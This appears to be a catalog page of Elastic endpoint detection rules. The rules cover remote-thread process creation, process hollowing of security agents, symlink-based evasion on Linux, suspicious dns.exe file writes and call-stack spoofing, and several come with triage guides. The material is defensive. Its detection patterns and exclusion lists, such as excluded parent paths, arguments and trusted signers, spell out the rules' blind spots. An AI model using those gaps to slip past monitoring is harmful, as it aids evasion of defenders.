#Identifies the creation of a process with parent call stack not pointing to normal process creation APIs. This may indicate process creation as a result of code injection.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[rule]
description = """
Identifies the creation of a process with parent call stack not pointing to normal process creation APIs. This may
indicate process creation as a result of code injection.
"""
id = "697151c0-a1bd-498e-9056-6c726ce592b7"
license = "Elastic License v2"
name = "Process Stared via Remote Thread"
os_list = ["windows"]
reference = [
"https://www.elastic.co/security-labs/upping-the-ante-detecting-in-memory-threats-with-kernel-call-stacks",
]
version = "1.0.19"
query = '''
process where event.action == "start" and
_arraysearch(process.parent.thread.Ext.call_stack, $entry,
$entry.symbol_info: ("?:\\Windows\\System32\\ntdll.dll!ZwCreateThreadEx*",
"?:\\Windows\\System32\\ntdll.dll!NtCreateThreadEx*")) and
not _arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("*CreateProcess*", "*CreateUserProcess*"))
'''
min_endpoint_version = "8.7.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[actions]]
action = "kill_process"
field = "process.parent.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.7.0"
Stages and Predicates
Stage 1: process
process where event.action == "start" and
_arraysearch(process.parent.thread.Ext.call_stack, $entry,
$entry.symbol_info: ("?:\\Windows\\System32\\ntdll.dll!ZwCreateThreadEx*",
"?:\\Windows\\System32\\ntdll.dll!NtCreateThreadEx*")) and
not _arraysearch(process.parent.thread.Ext.call_stack, $entry, $entry.symbol_info: ("*CreateProcess*", "*CreateUserProcess*"))
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"start" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.parent.thread.Ext.call_stack | array_any | excludes:process.parent.thread.Ext.call_stack |
Suspicious Endpoint Security Parent Process
#A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code injection.
MITRE ATT&CK Coverage
Telemetry Coverage
| Provider | Record / event type |
|---|---|
| Sysmon | Event ID 1: Process creation |
| Security-Auditing | Event ID 4688: A new process has been created. |
Rule Body
[metadata]
creation_date = "2020/08/24"
integration = ["endpoint", "windows", "system", "m365_defender", "sentinel_one_cloud_funnel"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
A suspicious Endpoint Security parent process was detected. This may indicate a process hollowing or other form of code
injection.
"""
from = "now-9m"
index = [
"endgame-*",
"logs-endpoint.events.process-*",
"logs-m365_defender.event-*",
"logs-sentinel_one_cloud_funnel.*",
"logs-system.security*",
"logs-windows.forwarded*",
"logs-windows.sysmon_operational-*",
"winlogbeat-*",
]
language = "eql"
license = "Elastic License v2"
name = "Suspicious Endpoint Security Parent Process"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Suspicious Endpoint Security Parent Process
Endpoint security solutions, like Elastic and Microsoft Defender, monitor and protect systems by analyzing process behaviors. Adversaries may exploit these processes through techniques like process hollowing, where malicious code is injected into legitimate processes to evade detection. The detection rule identifies anomalies by flagging unexpected parent processes of security executables, excluding known benign paths and arguments, thus highlighting potential threats.
### Possible investigation steps
- Review the process details for the flagged executable (e.g., esensor.exe or elastic-endpoint.exe) to understand its expected behavior and any recent changes in its configuration or deployment.
- Examine the parent process executable path and name to determine if it is a known legitimate process or potentially malicious. Pay special attention to paths not listed in the known benign paths, such as those outside "?:\\Program Files\\Elastic\\*" or "?:\\Windows\\System32\\*".
- Investigate the command-line arguments used by the parent process to identify any unusual or suspicious patterns that could indicate malicious activity, especially if they do not match the benign arguments like "test", "version", or "status".
- Check the historical activity of the parent process to see if it has been involved in other suspicious activities or if it has a history of spawning security-related processes.
- Correlate the alert with other security events or logs from data sources like Elastic Endgame, Microsoft Defender XDR, or Sysmon to gather additional context and identify any related suspicious activities.
- Assess the risk and impact of the alert by considering the environment, the criticality of the affected systems, and any potential data exposure or operational disruption.
### False positive analysis
- Security tools or scripts that automate tasks may trigger false positives if they launch endpoint security processes with unexpected parent processes. To manage this, identify and document these tools, then add their parent executable paths to the exclusion list.
- System administrators or IT personnel may use command-line tools like PowerShell or cmd.exe for legitimate maintenance tasks. If these tasks frequently trigger alerts, consider adding specific command-line arguments used in these tasks to the exclusion list.
- Software updates or installations might temporarily cause unexpected parent processes for security executables. Monitor these activities and, if they are routine and verified, add the associated parent executable paths to the exclusion list.
- Custom scripts or third-party applications that interact with security processes can also lead to false positives. Review these scripts or applications, and if they are deemed safe, include their parent executable paths in the exclusion list.
- Regularly review and update the exclusion list to ensure it reflects the current environment and operational practices, minimizing the risk of overlooking new legitimate processes.
### Response and remediation
- Isolate the affected system from the network to prevent further spread of the potential threat and to contain any malicious activity.
- Terminate the suspicious process identified by the alert to stop any ongoing malicious activity and prevent further code execution.
- Conduct a forensic analysis of the affected system to identify any additional indicators of compromise, such as unauthorized changes or additional malicious files.
- Restore the system from a known good backup if any malicious activity or unauthorized changes are confirmed, ensuring that the backup is clean and uncompromised.
- Update endpoint security solutions and apply any available patches to address vulnerabilities that may have been exploited by the adversary.
- Monitor the network and systems for any signs of re-infection or similar suspicious activities, using enhanced logging and alerting based on the identified threat indicators.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems may be affected."""
risk_score = 47
rule_id = "b41a13c6-ba45-4bab-a534-df53d0cfed6a"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: Elastic Endgame",
"Data Source: Elastic Defend",
"Data Source: Windows Security Event Logs",
"Data Source: Microsoft Defender XDR",
"Data Source: Sysmon",
"Data Source: SentinelOne",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "eql"
query = '''
process where host.os.type == "windows" and event.type == "start" and
process.name : ("esensor.exe", "elastic-endpoint.exe") and
process.parent.executable != null and
process.args != null and
/* add FPs here */
not process.parent.executable : (
"?:\\Program Files\\Elastic\\*",
"?:\\Windows\\System32\\services.exe",
"?:\\Windows\\System32\\WerFault*.exe",
"?:\\Windows\\System32\\wermgr.exe",
"?:\\Windows\\explorer.exe"
) and
not (
process.parent.executable : (
"?:\\Windows\\System32\\cmd.exe",
"?:\\Windows\\System32\\SecurityHealthHost.exe",
"?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe",
"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
) and
process.args : (
"test", "version",
"top", "run",
"*help", "status",
"upgrade", "/launch",
"/enable", "/av"
)
)
'''
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [Microsoft Defender XDR](https://ela.st/m365-defender)
- [SentinelOne Cloud Funnel](https://ela.st/sentinel-one-cloud-funnel)
- [Sysmon Event ID 1 - Process Creation](https://ela.st/sysmon-event-1-setup)
- [Windows Process Creation Logs](https://ela.st/audit-process-creation)
"""
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1036"
name = "Masquerading"
reference = "https://attack.mitre.org/techniques/T1036/"
[[rule.threat.technique.subtechnique]]
id = "T1036.005"
name = "Match Legitimate Resource Name or Location"
reference = "https://attack.mitre.org/techniques/T1036/005/"
[[rule.threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"
[[rule.threat.technique.subtechnique]]
id = "T1055.012"
name = "Process Hollowing"
reference = "https://attack.mitre.org/techniques/T1055/012/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
Stages and Predicates
Stage 1: process
process where host.os.type == "windows" and event.type == "start" and
process.name : ("esensor.exe", "elastic-endpoint.exe") and
process.parent.executable != null and
process.args != null and
not process.parent.executable : (
"?:\\Program Files\\Elastic\\*",
"?:\\Windows\\System32\\services.exe",
"?:\\Windows\\System32\\WerFault*.exe",
"?:\\Windows\\System32\\wermgr.exe",
"?:\\Windows\\explorer.exe"
) and
not (
process.parent.executable : (
"?:\\Windows\\System32\\cmd.exe",
"?:\\Windows\\System32\\SecurityHealthHost.exe",
"?:\\Windows\\System32\\SecurityHealth\\*\\SecurityHealthHost.exe",
"?:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe"
) and
process.args : (
"test", "version",
"top", "run",
"*help", "status",
"upgrade", "/launch",
"/enable", "/av"
)
)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | is_not_null | field:"process.args" kind:is_not_null | |
process.name | wildcard |
| field:"process_basename" kind:wildcard |
process.parent.executable | is_not_null | field:"ParentImage" kind:is_not_null |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.args | wildcard | test, version, top, run, *help, status, upgrade, /launch, /enable, /av | excludes:process.args |
process.parent.executable | wildcard | ?:\Windows\System32\cmd.exe, ?:\Windows\System32\SecurityHealthHost.exe, ?:\Windows\System32\SecurityHealth\*\SecurityHealthHost.exe, ?:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe | excludes:process.parent.executable |
process.parent.executable | wildcard | ?:\Program Files\Elastic\*, ?:\Windows\System32\services.exe, ?:\Windows\System32\WerFault*.exe, ?:\Windows\System32\wermgr.exe, ?:\Windows\explorer.exe | excludes:process.parent.executable |
System Binary Symlink to Suspicious Location
#This rule detects the creation of a symbolic link from a system binary to a suspicious and writable location. This activity may indicate an attacker's attempt to evade detection by behavioral rules that depend on predefined process parent/child relationships. By executing the symlinked variant of a binary instead of the original, the attacker aims to bypass these rules. Through the new_terms rule type, this rule can identify uncommon parent processes that may indicate the presence of a malicious symlink.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[metadata]
creation_date = "2025/04/30"
integration = ["endpoint"]
maturity = "production"
updated_date = "2026/03/24"
[rule]
author = ["Elastic"]
description = """
This rule detects the creation of a symbolic link from a system binary to a suspicious and writable location. This
activity may indicate an attacker's attempt to evade detection by behavioral rules that depend on predefined process
parent/child relationships. By executing the symlinked variant of a binary instead of the original, the attacker aims to
bypass these rules. Through the new_terms rule type, this rule can identify uncommon parent processes that may indicate the
presence of a malicious symlink.
"""
from = "now-9m"
index = [
"logs-endpoint.events.process*",
]
language = "kuery"
license = "Elastic License v2"
name = "System Binary Symlink to Suspicious Location"
note = """ ## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating System Binary Symlink to Suspicious Location
Symbolic links in Linux create shortcuts to files or directories, allowing flexible file management. Adversaries exploit this by linking system binaries to writable, suspicious locations, aiming to bypass security measures that monitor standard execution paths. The detection rule identifies unusual parent processes and symbolic link creation to these locations, flagging potential evasion attempts.
### Possible investigation steps
- Review the parent process executable (process.parent.executable) to determine if it is a known and legitimate process that should be creating symbolic links.
- Examine the specific system binary involved (process.args) to verify if it is commonly used in the environment and assess if its redirection to a suspicious location is justified.
- Investigate the destination path of the symbolic link (process.args) to determine if it is a writable and potentially malicious location such as /tmp, /dev/shm, or /var/tmp.
- Check for any recent or concurrent alerts or logs related to the same parent process or destination path to identify potential patterns or repeated attempts.
- Assess the user account associated with the process (if available) to determine if it has the necessary permissions and if the activity aligns with the user's typical behavior.
- Correlate with other security tools or logs to identify any additional suspicious activities or anomalies around the time of the alert.
### False positive analysis
- Routine system maintenance tasks may create symbolic links in monitored directories. Exclude known maintenance scripts or processes like mkinitcpio and dracut from triggering alerts by adding them to the exception list.
- Software installations or updates often involve creating symbolic links in writable directories. Identify and whitelist trusted installation processes or package managers to prevent unnecessary alerts.
- Development environments may frequently use symbolic links for testing purposes. Consider excluding specific user directories or development tools that are known to create such links regularly.
- Backup or synchronization tools might create symbolic links as part of their operation. Verify and exclude these tools if they are part of a legitimate and routine process.
- Custom scripts or automation tools used within the organization might trigger this rule. Review and whitelist these scripts if they are verified to be safe and necessary for business operations.
### Response and remediation
- Immediately isolate the affected system from the network to prevent further malicious activity and lateral movement.
- Terminate any suspicious processes identified as creating symbolic links to writable locations, especially those with uncommon parent processes.
- Remove any unauthorized symbolic links from system binaries to suspicious locations, ensuring the integrity of the original binaries.
- Conduct a thorough review of user accounts and permissions on the affected system to identify and disable any compromised accounts or unnecessary elevated privileges.
- Restore affected binaries and system files from a known good backup to ensure no tampered files remain.
- Monitor the system for any further attempts to create unauthorized symbolic links, using enhanced logging and alerting mechanisms.
- Escalate the incident to the security operations center (SOC) or incident response team for further investigation and to determine if additional systems are affected.
"""
risk_score = 21
rule_id = "d19a2399-f8e2-4b10-80d8-a561ce9d24d1"
severity = "low"
tags = [
"Domain: Endpoint",
"OS: Linux",
"Use Case: Threat Detection",
"Tactic: Defense Evasion",
"Data Source: Elastic Defend",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
host.os.type:linux and event.category:process and event.type:start and event.action:exec and
process.parent.executable:(* and not (/bin/make or /sbin/weak-modules or /usr/bin/make or /usr/sbin/weak-modules)) and
(process.name:ln or process.name:busybox and process.args:ln or process.name:cp and process.args:--symbolic-link) and
process.args:(
(
/bin/* or /lib/* or /lib64/* or /sbin/* or /usr/bin/* or /usr/lib/* or /usr/lib64/* or /usr/local/bin/* or
/usr/local/lib/* or /usr/local/lib64/* or /usr/local/sbin/* or /usr/sbin/*
) and (
/*/.* or /dev/shm/* or /home/* or /root/* or /tmp/* or /var/tmp/*
) and
not (
/usr/bin/coreutils or /tmp/mkinitcpio* or /var/tmp/dracut* or /var/tmp/mkinitramfs* or /var/tmp/pamac-build* or
/var/tmp/portage/* or usr/lib/python3/dist-packages/*
)
) and not
process.parent.args:(/usr/bin/qemu-aarch64-static or /usr/sbin/weak-modules or /usr/share/initramfs-tools/hooks/ntfs_3g or /var/tmp/rpm-tmp*)
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1202"
name = "Indirect Command Execution"
reference = "https://attack.mitre.org/techniques/T1202/"
[[rule.threat.technique]]
id = "T1564"
name = "Hide Artifacts"
reference = "https://attack.mitre.org/techniques/T1564/"
[[rule.threat.technique]]
id = "T1574"
name = "Hijack Execution Flow"
reference = "https://attack.mitre.org/techniques/T1574/"
[rule.threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[rule.new_terms]
field = "new_terms_fields"
value = ["host.id", "process.parent.name"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-5d"
Stages and Predicates
Stage 1: new_terms
host.os.type:linux and event.category:process and event.type:start and event.action:exec and
process.parent.executable:(* and not (/bin/make or /sbin/weak-modules or /usr/bin/make or /usr/sbin/weak-modules)) and
(process.name:ln or process.name:busybox and process.args:ln or process.name:cp and process.args:--symbolic-link) and
process.args:(
(
/bin/* or /lib/* or /lib64/* or /sbin/* or /usr/bin/* or /usr/lib/* or /usr/lib64/* or /usr/local/bin/* or
/usr/local/lib/* or /usr/local/lib64/* or /usr/local/sbin/* or /usr/sbin/*
) and (
/*/.* or /dev/shm/* or /home/* or /root/* or /tmp/* or /var/tmp/*
) and
not (
/usr/bin/coreutils or /tmp/mkinitcpio* or /var/tmp/dracut* or /var/tmp/mkinitramfs* or /var/tmp/pamac-build* or
/var/tmp/portage/* or usr/lib/python3/dist-packages/*
)
) and not
process.parent.args:(/usr/bin/qemu-aarch64-static or /usr/sbin/weak-modules or /usr/share/initramfs-tools/hooks/ntfs_3g or /var/tmp/rpm-tmp*)
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.action | eq |
| field:"EventType" kind:eq value:"exec" |
event.category | eq |
| field:"event.category" kind:eq value:"process" |
event.type | eq |
| field:"event.type" kind:eq value:"start" |
process.args | eq |
| field:"process.args" kind:eq |
process.args | wildcard |
| field:"process.args" kind:wildcard |
process.name | eq |
| field:"process_basename" kind:eq |
process.parent.executable | is_not_null | field:"ParentImage" kind:is_not_null |
Exclusions
The rule actively suppresses these predicates.
Unusual File Operation by dns.exe
#Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which may indicate activity related to remote code execution or other forms of exploitation.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Initial Access | |
| Lateral Movement |
Rule Body
[metadata]
creation_date = "2020/07/16"
integration = ["endpoint", "windows"]
maturity = "production"
updated_date = "2026/05/04"
[rule]
author = ["Elastic"]
description = """
Identifies an unexpected file being modified by dns.exe, the process responsible for Windows DNS Server services, which
may indicate activity related to remote code execution or other forms of exploitation.
"""
from = "now-9m"
index = ["winlogbeat-*", "logs-endpoint.events.file-*", "logs-windows.sysmon_operational-*", "endgame-*"]
language = "kuery"
license = "Elastic License v2"
name = "Unusual File Operation by dns.exe"
note = """## Triage and analysis
> **Disclaimer**:
> This investigation guide was created using generative AI technology and has been reviewed to improve its accuracy and relevance. While every effort has been made to ensure its quality, we recommend validating the content and adapting it to suit your specific environment and operational needs.
### Investigating Unusual File Operation by dns.exe
The rule flags Windows DNS Server (dns.exe) creating, changing, or deleting files that aren’t typical DNS zone or log files, which signals exploitation for code execution or abuse to stage payloads for lateral movement. After gaining execution in dns.exe via DNS RPC or parsing bugs, attackers often write a malicious EXE into System32 and register a new service, leveraging the trusted service context on a domain controller to persist and pivot.
### Possible investigation steps
- Validate the modified file’s full path, type, and provenance, prioritizing writes in %SystemRoot%\\System32, NETLOGON, or SYSVOL, and confirm signature, hash reputation, and compile timestamp to rapidly classify the artifact.
- Pivot to persistence telemetry around the same timestamp by hunting for new services or scheduled tasks (e.g., SCM 7045, Security 4697, TaskScheduler 106/200) and registry autoruns that reference the file.
- Correlate with DNS service network activity and logs for unusual RPC calls, authenticated connections from non-admin hosts, or spikes in failures/crashes that could indicate exploitation.
- Inspect the service’s runtime state for injection indicators by reviewing recent module loads, unsigned DLLs, suspicious memory sections, and ETW/Sysmon events mapping threads that performed the write.
- If the file is executable or a script or placed in execution-friendly locations, detonate it in a sandbox and scope the blast radius by pivoting on its hash, filename, and path across the fleet.
### False positive analysis
- DNS debug logging configured to write to a file with a non-.log extension (e.g., .txt) causes dns.exe to legitimately create or rotate that file during troubleshooting.
- An administrator exports a zone to a custom-named file with a nonstandard extension (e.g., .txt or .xml), leading dns.exe to create or modify that file as part of routine maintenance.
### Response and remediation
- Isolate the host by removing it from DNS rotation and restricting network access to management-only, then capture and quarantine any files dns.exe created or modified outside %SystemRoot%\\System32\\Dns or with executable extensions.
- Delete or quarantine suspicious artifacts written by dns.exe (e.g., .exe, .dll, .ps1, .js) in %SystemRoot%\\System32, NETLOGON, or SYSVOL, record their hashes, and block them fleetwide via EDR or application control.
- Remove persistence by disabling and deleting any new or altered Windows services, scheduled tasks, or Run/Autorun registry entries that reference the dns.exe-written file path, and restore legitimate service ImagePath values.
- Recover by repairing system files with SFC/DISM, restoring affected directories from known-good backups, and restarting the DNS service, then validate zone integrity, AD replication, and client name-resolution.
- Immediately escalate to incident response if dns.exe wrote an executable or script into NETLOGON or SYSVOL or if a service binary path was changed to point to a newly dropped file, indicating probable domain controller compromise and lateral movement.
- Harden by applying the latest Windows Server DNS patches, enforcing WDAC/AppLocker to block execution from SYSVOL/NETLOGON and restrict dns.exe writes to the DNS and log directories, and enable auditing on service creation and file writes in System32/NETLOGON/SYSVOL.
"""
setup = """## Setup
This rule is designed for data generated by [Elastic Defend](https://www.elastic.co/security/endpoint-security), which provides native endpoint detection and response, along with event enrichments designed to work with our detection rules.
Setup instructions: https://ela.st/install-elastic-defend
### Additional data sources
This rule also supports the following third-party data sources. For setup instructions, refer to the links below:
- [Sysmon Event ID 11 - File Create](https://ela.st/sysmon-event-11-setup)
- [Sysmon Event ID 23 - File Delete](https://ela.st/sysmon-event-23-setup)
"""
references = [
"https://research.checkpoint.com/2020/resolving-your-way-into-domain-admin-exploiting-a-17-year-old-bug-in-windows-dns-servers/",
"https://msrc-blog.microsoft.com/2020/07/14/july-2020-security-update-cve-2020-1350-vulnerability-in-windows-domain-name-system-dns-server/",
"https://www.elastic.co/security-labs/detection-rules-for-sigred-vulnerability",
]
risk_score = 47
rule_id = "c7ce36c0-32ff-4f9a-bfc2-dcb242bf99f9"
severity = "medium"
tags = [
"Domain: Endpoint",
"OS: Windows",
"Use Case: Threat Detection",
"Tactic: Lateral Movement",
"Data Source: Elastic Endgame",
"Use Case: Vulnerability",
"Data Source: Elastic Defend",
"Data Source: Sysmon",
"Resources: Investigation Guide",
]
timestamp_override = "event.ingested"
type = "new_terms"
query = '''
event.category : "file" and host.os.type : "windows" and
event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and
not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log")
'''
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1210"
name = "Exploitation of Remote Services"
reference = "https://attack.mitre.org/techniques/T1210/"
[rule.threat.tactic]
id = "TA0008"
name = "Lateral Movement"
reference = "https://attack.mitre.org/tactics/TA0008/"
[[rule.threat]]
framework = "MITRE ATT&CK"
[[rule.threat.technique]]
id = "T1190"
name = "Exploit Public-Facing Application"
reference = "https://attack.mitre.org/techniques/T1190/"
[rule.threat.tactic]
id = "TA0001"
name = "Initial Access"
reference = "https://attack.mitre.org/tactics/TA0001/"
[rule.new_terms]
field = "new_terms_fields"
value = ["file.path", "host.id"]
[[rule.new_terms.history_window_start]]
field = "history_window_start"
value = "now-7d"
Stages and Predicates
Stage 1: new_terms
event.category : "file" and host.os.type : "windows" and
event.type : ("creation" or "deletion" or "change") and process.name : "dns.exe" and
not file.extension : ("old" or "temp" or "bak" or "dns" or "arpa" or "log")
Indicators
These rows show field, operator, and value matches.
| Field | Kind | Values | Search |
|---|---|---|---|
event.category | eq |
| field:"event.category" kind:eq value:"file" |
event.type | in |
| field:"event.type" kind:in |
process.name | eq |
| field:"process_basename" kind:eq value:"dns.exe" |
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
file.extension | in | arpa, bak, dns, log, old, temp | excludes:file.extension |
VirtualProtect API Call from Unusual Stack
#Identifies VirtualProtect API calls from unusual Kernelbase functions. This may be the result of a call stack spoofing.
MITRE ATT&CK Coverage
| Tactic | Techniques |
|---|---|
| Stealth |
Rule Body
[rule]
description = "Identifies VirtualProtect API calls from unusual Kernelbase functions. This may be the result of a call stack spoofing."
id = "51e79dda-9a89-4825-93ec-ce560d7d5459"
license = "Elastic License v2"
name = "VirtualProtect API Call from Unusual Stack"
os_list = ["windows"]
version = "1.0.5"
query = '''
api where
process.Ext.api.name == "VirtualProtect" and
process.thread.Ext.call_stack_summary like "ntdll.dll|kernelbase.dll*" and
_arraysearch(process.thread.Ext.call_stack, $entry,
$entry.symbol_info like ("c:\\windows\\system32\\ndll.dll!NtProtectVirtualMemory*",
"c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory*")) and
not _arraysearch(process.thread.Ext.call_stack, $entry,
$entry.symbol_info : ("*\\kernelbase.dll!VirtualProtect*",
"*\\kernelbase.dll!LoadLibrary*",
"*\\kernelbase.dll+0x*",
"*\\kernelbase.dll!GetThreadTimes*",
"*\\kernelbase.dll!GetProcessHandleCount*",
"c:\\windows\\*\\ntdll.dll!LdrGetProcedureAddressEx*",
"*\\ntdll.dll!LdrAddRefDll*",
"*\\ntdll.dll!LdrShutdownProcess*",
"*\\ntdll.dll!RtlAllocateHeap*",
"*\\ntdll.dll!LdrGetProcedureAddressForCaller*",
"*\\ntdll.dll!RtlAddressInSectionTable*",
"*\\clr.dll!LogHelp_NoGuiOnAssert*",
"c:\\windows\\*\\ntdll.dll!LdrGetDllHandle*",
"c:\\windows\\system32\\ntdll.dll!LdrResolveDelayLoadedAPI*",
"*\\kernelbase.dll!WriteProcessMemory*",
"*\\kernelbase.dll!TlsGetValue*",
"c:\\windows\\*\\ntdll.dll!LdrInitializeThunk*",
"c:\\windows\\system32\\kernelbase.dll!Wow64Transition*",
"c:\\windows\\system32\\ntdll.dll!LdrUnloadDll*",
"c:\\windows\\system32\\ntdll.dll!LdrLoadDll*",
"c:\\windows\\syswow64\\kernelbase.dll*",
"c:\\windows\\system32\\kernelbase.dll!FindNextFileW*")) and
not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
("8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5",
"f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d") and
not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.callsite_trailing_bytes like "488b442440ff9014140000eb09eb05e9*") and
not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.protection_provenance like ("Kernel", "Kernel|*")) and
process.thread.Ext.call_stack_final_user_module.name != "Kernel" and
not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry,
$entry.trusted == true and $entry.subject_name in ("Carbon Black, Inc.", "MUSARUBRA US LLC", "Microsoft Windows Hardware Compatibility Publisher", "Kaspersky Lab JSC",
"Microsoft Windows Software Compatibility Publisher", "WithSecure Oyj", "NortonLifeLock Inc.", "Sennheiser electronic SE & Co. KG"))
'''
min_endpoint_version = "8.10.0"
optional_actions = []
[[actions]]
action = "kill_process"
field = "process.entity_id"
state = 0
[[threat]]
framework = "MITRE ATT&CK"
[[threat.technique]]
id = "T1055"
name = "Process Injection"
reference = "https://attack.mitre.org/techniques/T1055/"
[threat.tactic]
id = "TA0005"
name = "Defense Evasion"
reference = "https://attack.mitre.org/tactics/TA0005/"
[internal]
min_endpoint_version = "8.10.0"
Stages and Predicates
Stage 1: api
api where
process.Ext.api.name == "VirtualProtect" and
process.thread.Ext.call_stack_summary like "ntdll.dll|kernelbase.dll*" and
_arraysearch(process.thread.Ext.call_stack, $entry,
$entry.symbol_info like ("c:\\windows\\system32\\ndll.dll!NtProtectVirtualMemory*",
"c:\\windows\\system32\\ntdll.dll!ZwProtectVirtualMemory*")) and
not _arraysearch(process.thread.Ext.call_stack, $entry,
$entry.symbol_info : ("*\\kernelbase.dll!VirtualProtect*",
"*\\kernelbase.dll!LoadLibrary*",
"*\\kernelbase.dll+0x*",
"*\\kernelbase.dll!GetThreadTimes*",
"*\\kernelbase.dll!GetProcessHandleCount*",
"c:\\windows\\*\\ntdll.dll!LdrGetProcedureAddressEx*",
"*\\ntdll.dll!LdrAddRefDll*",
"*\\ntdll.dll!LdrShutdownProcess*",
"*\\ntdll.dll!RtlAllocateHeap*",
"*\\ntdll.dll!LdrGetProcedureAddressForCaller*",
"*\\ntdll.dll!RtlAddressInSectionTable*",
"*\\clr.dll!LogHelp_NoGuiOnAssert*",
"c:\\windows\\*\\ntdll.dll!LdrGetDllHandle*",
"c:\\windows\\system32\\ntdll.dll!LdrResolveDelayLoadedAPI*",
"*\\kernelbase.dll!WriteProcessMemory*",
"*\\kernelbase.dll!TlsGetValue*",
"c:\\windows\\*\\ntdll.dll!LdrInitializeThunk*",
"c:\\windows\\system32\\kernelbase.dll!Wow64Transition*",
"c:\\windows\\system32\\ntdll.dll!LdrUnloadDll*",
"c:\\windows\\system32\\ntdll.dll!LdrLoadDll*",
"c:\\windows\\syswow64\\kernelbase.dll*",
"c:\\windows\\system32\\kernelbase.dll!FindNextFileW*")) and
not process.thread.Ext.call_stack_final_user_module.hash.sha256 in
("8e423ca1a0e610976f8bb88c0392092d001852295dc8147c365c1c96b2f315a5",
"f323339ad07384935dcfd8357f6b7443d1ed356e55dd2394ac1975e12ae4b28d") and
not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.callsite_trailing_bytes like "488b442440ff9014140000eb09eb05e9*") and
not _arraysearch(process.thread.Ext.call_stack, $entry, $entry.protection_provenance like ("Kernel", "Kernel|*")) and
process.thread.Ext.call_stack_final_user_module.name != "Kernel" and
not _arraysearch(process.thread.Ext.call_stack_final_user_module.code_signature, $entry,
$entry.trusted == true and $entry.subject_name in ("Carbon Black, Inc.", "MUSARUBRA US LLC", "Microsoft Windows Hardware Compatibility Publisher", "Kaspersky Lab JSC",
"Microsoft Windows Software Compatibility Publisher", "WithSecure Oyj", "NortonLifeLock Inc.", "Sennheiser electronic SE & Co. KG"))
Indicators
These rows show field, operator, and value matches.
Exclusions
The rule actively suppresses these predicates.
| Field | Kind | Excluded values | Search |
|---|---|---|---|
process.thread.Ext.call_stack_final_user_module.code_signature | array_any | excludes:process.thread.Ext.call_stack_final_user_module.code_signature | |
process.thread.Ext.call_stack | array_any | excludes:process.thread.Ext.call_stack | |
